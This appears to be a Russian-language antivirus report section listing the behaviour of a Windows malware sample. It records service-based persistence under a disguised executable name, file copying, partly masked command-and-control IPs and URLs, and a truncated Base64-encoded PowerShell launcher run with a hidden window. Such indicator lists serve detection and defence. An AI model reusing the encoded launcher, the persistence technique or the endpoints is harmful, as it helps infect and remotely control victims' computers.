Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\msoeacct] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\msoeacct] 'ImagePath' = '"%WINDIR%\SysWOW64\msvcm90d\msoeacct.exe"'
- 'msoeacct' "%WINDIR%\SysWOW64\msvcm90d\msoeacct.exe"
- 'msoeacct' %WINDIR%\SysWOW64\msvcm90d\msoeacct.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAHgAcgBoAF8AeQB2AD0AKAAoACcAWgAnACsAJwA1AGIAeABzACcAKQArACcAMAByACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBzAGUAcgBwAHIAbwBmAEkAbABFAFwAYwBzADcAMgAyAEUAOABcAH...
- %HOMEPATH%\cs722e8\u87fwa6\pp7rcm.exe
- %WINDIR%\syswow64\msvcm90d\msoeacct.exe
- %HOMEPATH%\cs722e8\u87fwa6\pp7rcm.exe в %WINDIR%\syswow64\msvcm90d\msoeacct.exe
- '50.##1.220.50':80
- http://nn##tv.com/newsletter/hDT/
- http://50.##1.220.50/mXylc1Jb9UGJPMR/QrPpb/zJqskPMHO49QXLhS2/K9Ti/eAiPZX2qGPlY26xYnf/4wYlXCcpMm4jTizz/
- DNS ASK nn##tv.com
- '%HOMEPATH%\cs722e8\u87fwa6\pp7rcm.exe'
- '%WINDIR%\syswow64\msvcm90d\msoeacct.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAHgAcgBoAF8AeQB2AD0AKAAoACcAWgAnACsAJwA1AGIAeABzACcAKQArACcAMAByACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBzAGUAcgBwAHIAbwBmAEkAbABFAFwAYwBzADcAMgAyAEUAOABcAH...' (со скрытым окном)